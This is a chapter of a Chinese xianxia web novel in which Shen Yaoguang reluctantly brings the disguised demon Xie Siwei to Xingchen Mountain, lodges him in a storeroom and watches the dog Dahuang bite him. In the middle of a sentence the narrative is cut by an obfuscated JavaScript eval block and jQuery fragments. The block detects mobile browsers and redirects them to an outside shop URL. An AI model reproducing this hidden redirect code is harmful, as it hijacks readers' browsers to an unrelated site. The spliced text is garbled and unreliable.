这是沈摇光第二次坐谢家的马车,车厢内宽敞明亮,黄金为饰,珠玉作帘,还弥漫着一股淡淡的幽香。
谢司危与萧天权、沈摇光二人相对而坐。
气氛一时凝滞。
据谢司危描述,事情是这样的,自从萧天权告知他身世,悲愤、不甘、痛苦多种情绪熬成一锅热油,将他的心放在里面反复煎熬,恨不得从未到这世上走一遭,直到到天明时,倏忽想起在谢家的这十九年朝朝暮暮,养父养母的点滴恩情,心境豁然开朗,终于做出决定,他要跟萧天权回星辰山把病治好,不再让二老担忧。
当他推开萧天权的屋门,如沈摇光料想的那般,傻眼了。
好脾气的谢家少爷头一回大发雷霆,谢家夫妇得知事情原委,立刻安排车马抄近路,快马加鞭去追萧天权与沈摇光二人。
听谢司危说完,萧天权愧悔不已,沈摇光则一阵无言。
鬼才信!
反派是块狗皮膏药,黏上了,这回是再扯不下来了。
沈摇光一千个一万个不愿意,谢家的车马还是朝着星辰山的方向疾驰而去。
萧天权犹沉浸在谢司危那一声“师兄”中,难掩惊喜之情,忍不住再确认一遍:“司危,适才我们一见面,你唤了我什么?”
“师兄。”谢司危温文尔雅地笑道,“你长我七岁,我当唤你一声师兄。”
萧天权听闻“师兄”二字,浑身舒畅,满眼都是欢喜,比当了爹还要开心。
沈摇光咕哝道:“按年岁排辈,我比你小三岁,难不成还要我唤你一声师兄?”
“自然不是。”谢司危神色温润,“入了师门,应论资历,你比我早入门,我唤你小七师姐便是。”
“小七”两个字被反派男二唤出口,浑身爬满了虫子般难受。沈摇光瞪圆眼睛:“什么小七师姐,小七是你能唤的吗?”
谢司危迟疑:“小……师姐?”
萧天权板起脸教训道:“小七,不可得寸进尺。”
沈摇光妥协:”小师姐就小师姐。”
从谢府到星辰山,若坐车马需要三日的时间,加上途中吃饭睡觉耽误的功夫,足用了五日才到。
一到星辰山,谢司危写了封书信,打发车夫回程,向谢家夫妇通报平安。
星辰派人丁凋零,门中弟子只剩下沈摇光和萧天权,并一个负责洒扫做饭的老叟,唤作老张。
老张许久未见萧天权和沈摇光,高兴得满脸褶子都生动了起来,拎着竹篮步履蹒跚地去菜园里摘菜,坚持为二人做一顿好酒好菜接风洗尘。
沈摇光自告奋勇去安顿谢司危。
回程的路上,星辰剑的温度前所未所的冰寒,萧天权猜想是栖居剑中的那位剑灵前辈闹脾气了,暂时无暇去顾及谢司危,同意了沈摇光的提议,殷切叮嘱道:“司危初来乍到,小七你带他去各处逛逛。”
“知道啦,师兄。”
星辰派全盛时期,谢景渊共收了七名弟子,入门后,保留原来的姓氏,分别以天枢、天璇、天玑、天权、玉衡、开阳和摇光为名,号称星辰七剑。
萧天权原来是四师兄,星辰七剑死的只剩下萧天权和沈摇光后,沈摇光才改口直接唤师兄。
一夜之间,昔日的同门都变作后山的数座新坟,是何等的惨烈,萧天权念及旧情,纵使人已故去,仍留着他们的房间,每月打扫一次,保持着洁净如新。
除去这几间屋子,还剩下一个杂物间,常年堆积着尘灰,沈摇光推开屋门,猝不及防呛了一口灰。
“师弟,你就住这间屋子吧,虽然看着破旧,打扫打扫还是能住人的。”
这间屋子之所以会成为杂物间,是其缺点太过明显,屋子方位有问题,每每到了冬日,恰好堵在风口,寒冷刺骨,夏日又曝在炎炎烈日下,暑气能将人蒸熟。
未得到谢司危的回应,沈摇光转头,瞧见谢司危抱着双臂,靠在门框上,悠然地打量着对面山壁上一丛淡紫色的野花。
那山壁光滑如镜,连杂草都无法存活,偏偏夹缝之间开出这样淡雅的花色。
“凡人修炼是与天争命,前途难测,步步艰险,这里没有谢府的高床软枕和红绡锦缎,师弟吃不了这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136941|149656||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
苦,还是尽早下山去吧。”沈摇光料想是谢司危不服气,出言讥讽道。
“小师姐教训的是,司危受教了。”
沈摇光撇撇嘴。那你就受教吧,这只是开始,往后还有的受教。
为免被谢司危拿捏住话柄,去萧天权那边告状,沈摇光帮着他一起收拾。
等搬完那些杂物,将房间整得有模有样,悬崖峭壁间缀着轮血色的残日。
星辰山风景秀丽,这样壮阔的一轮落日,也只是星辰山千千万万个日子里最寻常不过的一道景色。
“走吧,师兄怕是等急了。”沈摇光拍拍手,拽着谢司危一同出门。
刚步下台阶,冲过来一团橘黄的影子,对着谢司危狂吠,一口咬上他的腿。
谢司危抬脚便要踹出去,沈摇光及时喊道:“师弟脚下留情,这是老张的狗,叫大黄。大黄,快松口。”
大黄是一只田园犬,从山下捡回来那年,眼睛都没有睁开,老张借了村子里的羊奶,一口一口亲手喂长大的。
回来时没有见大黄,许是贪玩跑哪里去了,狗是看家护院的,又通人性,能辨忠奸,谢司危多般是身上邪气太重,这一口咬得不轻。
大黄听见沈摇光的声音,立时松了嘴巴,跑过来对着沈摇光狂摇尾巴。
它太久没见沈摇光,比以往更加热情,趴在沈摇光脚下,嘴里发出嘤嘤叫。
沈摇光揉着它的脑袋,轻声说了句“好狗”,又假模假意地去关心谢司危的腿:“师弟,还好吧?”
谢司危卷起裤腿,腿上多了圈带血的牙印。
他是妖,有着极强的自愈能力,但在星辰山上他要当一个普通人,只能收了他的神通,所以这痛是真的。
“哎呀,怎么咬的这么厉害,快去冲洗伤口。大黄真是的,好端端的咬师弟做什么,平日里它可有灵性了,好人坏人分得很清楚,定是欺负师弟是个生人。它是个畜生,不懂事,师弟可别背地里跟它计较。”沈摇光唇角的笑意都快压不住了。
谢司危阴森森道:“小师姐放心,我怎会跟一个畜生认真。”